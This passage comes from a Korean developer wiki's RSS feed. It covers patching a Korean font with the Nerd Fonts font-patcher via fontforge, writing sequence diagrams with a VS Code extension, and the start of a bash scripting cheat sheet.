&lt;p&gt;머지한 폰트가 기본적으로 Nerd Font를 지원하지 않아서 Nerd Font 글꼴이 필요한 몇몇 글자가 깨져서 나타나고 있다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_korean_font_maker.md_img/img_2024-03-14-17-32-00.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;아래 링크를 참조하여 Nerd Font를 병합해보자. &lt;br /&gt; &lt;a href=&quot;https://github.com/ryanoasis/nerd-fonts?tab=readme-ov-file#font-patcher&quot;&gt;https://github.com/ryanoasis/nerd-fonts?tab=readme-ov-file#font-patcher&lt;/a&gt;&lt;/p&gt; &lt;p&gt;위 경로의 URL에 들어가면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FontPatcher.zip&lt;/code&gt; 을 다운로드 받을 수 있는 링크를 찾을 수 있다.&lt;/p&gt; &lt;p&gt;Use the script … 부분에 &lt;br /&gt; Download script and its helper files as &lt;a href=&quot;https://github.com/ryanoasis/nerd-fonts/releases/latest/download/FontPatcher.zip&quot;&gt;archive&lt;/a&gt; and extract &lt;br /&gt; 부분의 archive 링크를 클릭하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FontPatcher.zip&lt;/code&gt; 파일을 다운로드 받는다. &lt;br /&gt; 압축 파일을 풀면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;font-patcher&lt;/code&gt; 스크립트가 나올 것이다.&lt;/p&gt; &lt;p&gt;아래 URL에서 다운로드 받을 수 있으나 외부 링크라 언제 만료될 지 모르니 위의 링크를 참조하자. &lt;br /&gt; &lt;a href=&quot;https://github.com/ryanoasis/nerd-fonts/releases/latest/download/FontPatcher.zip&quot;&gt;https://github.com/ryanoasis/nerd-fonts/releases/latest/download/FontPatcher.zip&lt;/a&gt;&lt;/p&gt; &lt;p&gt;“Requres” 의 내용을 살펴보면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Python3&lt;/code&gt;과 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python-fontforge&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argparse&lt;/code&gt; 패키지가 필요하다.&lt;/p&gt; &lt;p&gt;필요한 패키지를 설치하자.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# python3 -m pip innstall fontforge&lt;/span&gt; pip3 &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;python-fontforge pip3 &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;argparse &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;현재 상황&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; font-patcher drwxr-xr-x 6 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;192 3 11 14:23 FontPatcher/ &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;1.9M 2 29 14:12 FontPatcher.zip drwxr-xr-x 12 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;384 3 14 16:51 makedfont/ &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; ./FontPatcher total 116K drwxr-xr-x 3 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;96 2 29 14:13 bin/ &lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;112K 11 27 02:44 font-patcher&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;422 11 27 02:44 readme.md drwxr-xr-x 3 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;96 2 29 14:13 src/ &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; ./makedfont &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;3.5M 3 14 16:48 OperatorMono-Light.otf &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;3.5M 3 14 16:48 OperatorMono-LightItalic.otf &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;기본적인 명령어 사용법은 아래와 같다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;fontfore &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;font-patcher 스크립트 경로&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--complete&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;머지된 폰트 경로&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 모노 옵션을 추가할 경우&lt;/span&gt; fontfore &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;font-patcher 스크립트 경로&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--complete&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--mono&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;머지된 폰트 경로&amp;gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;예제&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;fontforge &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;FontPatcher/font-patcher&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--complete&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;makedfont/Korean-OperatorMono-Light.otf&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 모노 옵션을 추가할 경우&lt;/span&gt; fontforge &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;FontPatcher/font-patcher&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--complete&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--mono&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;makedfont/Korean-OperatorMono-Light.otf&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;한글 폰트가 적용된 상태에서 Mono 옵션을 추가할 경우 폰트의 폭이 비정상적으로 변형될 가능성이 존재하기에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--mono&lt;/code&gt; 옵션을 추가하는 것은 추천하지 않는다.&lt;/p&gt; &lt;h1 id=&quot;결과&quot;&gt;결과&lt;/h1&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_korean_font_maker.md_img/img_2024-03-14-17-54-06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_korean_font_maker.md_img/img_2024-03-14-17-54-21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; </description><pubDate>Thu, 14 Mar 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/etc/korean_font_maker</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/etc/korean_font_maker</guid> <category>etc</category> <category>font</category> <category>fontforge</category> <category>korean</category> <category>etc</category> </item> <item><title>vscode에서 sequence diagram 작성하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;vscode에서 sequence diagram을 작성할 수 있는 확장을 찾아보았다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=jebbs.plantuml&quot;&gt;plantuml&lt;/a&gt; 확장으로 sequence diagram을 작성하면 좋겠지만 &lt;br /&gt; plantuml은 문법이 복잡하여 단순히 노트하고, 노트한 내용에 대한 시퀀스를 표현하기에는 불편하다는 단점이 있었다.&lt;/p&gt; &lt;p&gt;따라서 문법이 간단하고 다이어그램을 직관적으로 표현할 수 있는 확장을 찾아보았다.&lt;/p&gt; &lt;p&gt;그 결과 &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=AleksandarDev.vscode-sequence-diagrams&quot;&gt;VSCode Sequence Diagrams&lt;/a&gt; 확장을 찾을 수 있었다.&lt;/p&gt; &lt;p&gt;문법은 여기서 확인할 수 있다. &lt;br /&gt; &lt;a href=&quot;https://bramp.github.io/js-sequence-diagrams/&quot;&gt;https://bramp.github.io/js-sequence-diagrams/&lt;/a&gt;&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;확장을 설치하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.seqdiag&lt;/code&gt; 확장자로 파일을 생성하면 된다.&lt;/p&gt; &lt;p&gt;이후 문법에 맞춰 내용을 작성하고 명령팔레트를 열어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Show Sequence Diagram Preview&lt;/code&gt; 명령을 실행하면 미리보기를 확인할 수 있다.&lt;/p&gt; &lt;p&gt;웹페이지 주소는 아래와 같다. &lt;br /&gt; &lt;a href=&quot;https://www.websequencediagrams.com/&quot;&gt;https://www.websequencediagrams.com/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;예시 문법 및 결과&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# https://bramp.github.io/js-sequence-diagrams/ Title: 시퀀스 다이어그램 participant A participant B participant C # 주석 A-&amp;gt;B: Hello World B--&amp;gt;A: How are you? B-&amp;gt;B: Stop The World A-&amp;gt;&amp;gt;C: I am good thanks! C--&amp;gt;&amp;gt;A: suddenly? Note over A: Umm... Note over A,B: 장애 발생 Note right of C: right C Note left of B: left B &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_vscode_sequence_diagram.md_img/img_2024-02-22-11-33-33.png&quot; alt=&quot;result&quot; /&gt; &lt;sup&gt;결과&lt;/sup&gt;&lt;/p&gt; </description><pubDate>Thu, 29 Feb 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/vscode/vscode_sequence_diagram</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/vscode/vscode_sequence_diagram</guid> <category>vscode</category> <category>extension</category> <category>sequence-diagram</category> <category>vscode</category> </item> <item><title>bash manual</title><description> &lt;p&gt;bash 스크립트는 자주 사용하면서도 기억이 잘 안나는 부분이 많아서 정리해둔다.&lt;/p&gt; &lt;p&gt;까먹은 명령어나 기능을 바로바로 찾아보기 위해 만든 문서이다.&lt;/p&gt; &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#bash&quot;&gt;bash&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#스크립트-실행법&quot;&gt;스크립트 실행법&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#주석-처리&quot;&gt;주석 처리&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수&quot;&gt;변수&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#명령어-출력-결과를-변수에-저장하고-싶어요&quot;&gt;명령어 출력 결과를 변수에 저장하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수를-사용출력하고-싶어요&quot;&gt;변수를 사용/출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수의-일부만-출력하고-싶어요&quot;&gt;변수의 일부만 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수-문자열의-길이를-획득하고-싶어요&quot;&gt;변수 (문자열)의 길이를 획득하고 싶어요&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#응용--문자열의-마지막-문자를-빼고-출력하고-싶어요&quot;&gt;응용 : 문자열의 마지막 문자를 빼고 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수-문자열의-값을-치환하고-싶어요-문자열-치환---replace&quot;&gt;변수 (문자열)의 값을 치환하고 싶어요 (문자열 치환 - replace)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#사칙연산을-진행하고-싶어요&quot;&gt;사칙연산을 진행하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수에-값을-더하고-싶어요&quot;&gt;변수에 값을 더하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수-사용-시-주의사항&quot;&gt;변수 사용 시 주의사항!&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#if문을-사용하고-싶어요&quot;&gt;IF문을 사용하고 싶어요&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#문자열-포함-여부를-확인하고-싶어요&quot;&gt;문자열 포함 여부를 확인하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수-function-알리아스-alias가-정의되어-있는지-확인하고-싶어요&quot;&gt;함수 (function), 알리아스 (alias)가 정의되어 있는지 확인하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#반복문&quot;&gt;반복문&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#for-문&quot;&gt;for 문&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#foreach-형식&quot;&gt;foreach 형식&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#for-형식&quot;&gt;for 형식&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#while-문&quot;&gt;while 문&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#무한-while-루프를-사용하고-싶어요&quot;&gt;무한 while 루프를 사용하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#반복문을-빠져나오고-싶어요&quot;&gt;반복문을 빠져나오고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열리스트&quot;&gt;배열/리스트&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#선언&quot;&gt;선언&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열의-전체-요소를-출력하고-싶어요&quot;&gt;배열의 전체 요소를 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#특정-요소를-출력하고-싶어요&quot;&gt;특정 요소를 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열의-특정-요소부터-특정-요소까지-출력하고-싶어요&quot;&gt;배열의 특정 요소부터 특정 요소까지 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열의-길이-size-를-확인하고-싶어요&quot;&gt;배열의 길이 (size) 를 확인하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열에-요소를-추가하고-싶어요&quot;&gt;배열에 요소를 추가하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열에-요소를-제거하고-싶어요&quot;&gt;배열에 요소를 제거하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#배열을-순회하고-싶어요&quot;&gt;배열을 순회하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#문자열을-리스트로-나누고-싶어요&quot;&gt;문자열을 리스트로 나누고 싶어요&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#--공백을-기준으로-문자열을-리스트로-나누고-싶을-때&quot;&gt;’ ‘ 공백을 기준으로 문자열을 리스트로 나누고 싶을 때&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#n-개행-등-기타-구분자를-기준으로-문자열을-리스트로-나누고-싶을-때&quot;&gt;’\n’ 개행 등 기타 구분자를 기준으로 문자열을 리스트로 나누고 싶을 때&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수&quot;&gt;함수&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#정의한-함수를-사용하고-싶어요&quot;&gt;정의한 함수를 사용하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수에-로컬-변수를-사용하고-싶어요&quot;&gt;함수에 로컬 변수를 사용하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수의-argument를-사용하고-싶어요&quot;&gt;함수의 argument를 사용하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수에-전달된-argument의-갯수를-알고-싶어요&quot;&gt;함수에 전달된 argument의 갯수를 알고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수에-전달된-argument를-전부-출력하고-싶어요&quot;&gt;함수에 전달된 argument를 전부 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수에-전달된-argument를-일부-출력하고-싶어요&quot;&gt;함수에 전달된 argument를 일부 출력하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#선언한-함수를-삭제하고-싶어요&quot;&gt;선언한 함수를 삭제하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수를-도중에-종료하고-싶어요&quot;&gt;함수를 도중에 종료하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#함수의-값을-반환하고-싶어요&quot;&gt;함수의 값을 반환하고 싶어요&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#번외-sed-사용법&quot;&gt;번외 sed 사용법&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#특정-라인-출력&quot;&gt;특정 라인 출력&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#특정-라인을-삭제&quot;&gt;특정 라인을 삭제&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#특정-라인을-변경&quot;&gt;특정 라인을 변경&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#특정-단어를-치환&quot;&gt;특정 단어를 치환&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#sed로-삭제&quot;&gt;sed로 삭제&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#특정-조건-위아래에-내용을-추가&quot;&gt;특정 조건 위/아래에 내용을 추가&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#번외-awk-사용법&quot;&gt;번외 awk 사용법&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#예제&quot;&gt;예제&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#번외-python&quot;&gt;번외 (Python)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#기타-유용한-예제&quot;&gt;기타 유용한 예제&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#쉘-스크립트-실행-파일-path-찾기&quot;&gt;쉘 스크립트 실행 파일 path 찾기&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;bash&quot;&gt;bash&lt;/h1&gt; &lt;h2 id=&quot;스크립트-실행법&quot;&gt;스크립트 실행법&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt;를 이용하여 파일에 실행권한을 주고&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x &amp;lt;filename&amp;gt; &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;755 &amp;lt;filename&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;파일의 최상단에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#!/bin/bash&lt;/code&gt;를 추가한다. 리눅스 스크립트의 경우 파일의 최상단에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#!&lt;/code&gt;로 시작하는 줄이 있을 경우 해당 프로그램으로 스크립트를 동작시킨다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/bash &amp;lt;filename&amp;gt;&lt;/code&gt; 으로 실행할 수 있다.&lt;/p&gt; &lt;h2 id=&quot;주석-처리&quot;&gt;주석 처리&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt;을 이용하여 주석 처리한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# comment&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;변수&quot;&gt;변수&lt;/h2&gt; &lt;p&gt;변수는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;변수명=값&lt;/code&gt; 형식으로 생성한다. &lt;br /&gt; &lt;strong&gt;중요 : 이 때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; 앞뒤로 공백을 넣으면 안된다.&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;10 &lt;span class=&quot;nv&quot;&gt;var2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;string&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/usr/bin/python3 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;변수 생성시에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; 앞뒤로 공백을 넣으면 syntax error&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;var4 &lt;span 